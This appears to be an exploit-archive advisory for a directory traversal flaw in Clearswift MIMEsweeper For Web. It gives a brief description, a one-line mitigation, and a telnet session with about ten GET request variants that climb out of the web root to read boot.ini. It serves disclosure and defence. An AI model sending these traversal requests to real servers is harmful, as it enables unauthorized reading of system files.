Clearswift MIMEsweeper For Web Directory Traversal Vulnerability

vendor:

MIMEsweeper For Web

by:

SecurityFocus

4.3

CVSS

MEDIUM

Directory Traversal

CWE

Product Name: MIMEsweeper For Web

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2002

Clearswift MIMEsweeper For Web Directory Traversal Vulnerability

Clearswift MIMEsweeper For Web is reported prone to a directory traversal vulnerability due to insufficient sanitization of user-supplied data. To carry out an attack an attacker may specify a relative path to a target file in a GET request to the vulnerable server, directory traversal character sequences may be supplied as a part of the request to escape the web root.

Mitigation:

Input validation should be used to prevent directory traversal attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/10918/info

Clearswift MIMEsweeper For Web is reported prone to a directory traversal vulnerability due to insufficient sanitization of user-supplied data.

To carry out an attack an attacker may specify a relative path to a target file in a GET request to the vulnerable server, directory traversal character sequences may be supplied as a part of the request to escape the web root.

telnet www.example.com 80
Trying www.example.com...
Connected to www.example.com.
Escape character is '^]'.
GET /ca/..\\..\\..\\..\\..\\..\\boot.ini HTTP/1.0

GET /foobar/..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar/\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar//..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar//..\\..//..\\..//boot.ini HTTP/1.0
GET /foobar/\../\../\../\../\boot.ini HTTP/1.0
GET /foobar/../../../../boot.ini HTTP/1.0
GET /foobar\..\..\..\..\boot.ini HTTP/1.0